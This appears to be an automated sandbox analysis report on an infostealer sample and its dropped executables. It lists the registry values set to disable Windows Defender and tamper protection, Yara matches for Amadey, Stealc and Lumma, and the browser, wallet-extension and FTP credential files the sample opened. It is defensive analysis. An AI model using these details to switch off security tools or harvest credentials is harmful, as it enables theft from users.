Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000995001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000995001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FD8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

12_2_00FD8195

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FBD27A GetUserNameW,

12_2_00FBD27A

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F9B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

12_2_00F9B952

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00F642DE

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2258303293.00000000055AC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2251184571.00000000055B1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246554241.00000000055AC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.OLR88CERN7VQFRQ38J.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.skotes.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2411955466.0000000004930000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2405168381.0000000000131000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2364843003.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2722993454.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2764558562.0000000000131000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000021.00000003.2991405310.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d7c50276ff.exe PID: 6488, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 27.2.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.7d61336cf8.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.7d61336cf8.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ENORVNMU067PBMHUGECCERYC06W3ZY.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000000.2667130005.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2760497126.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2926562320.0000000001187000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.2909397637.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2687324655.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2591227334.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2924335248.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2688771618.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2404591407.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2807278591.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2634884064.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2806511011.000000000082B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2492114993.00000000004D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ENORVNMU067PBMHUGECCERYC06W3ZY.exe PID: 5636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d61336cf8.exe PID: 1468, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
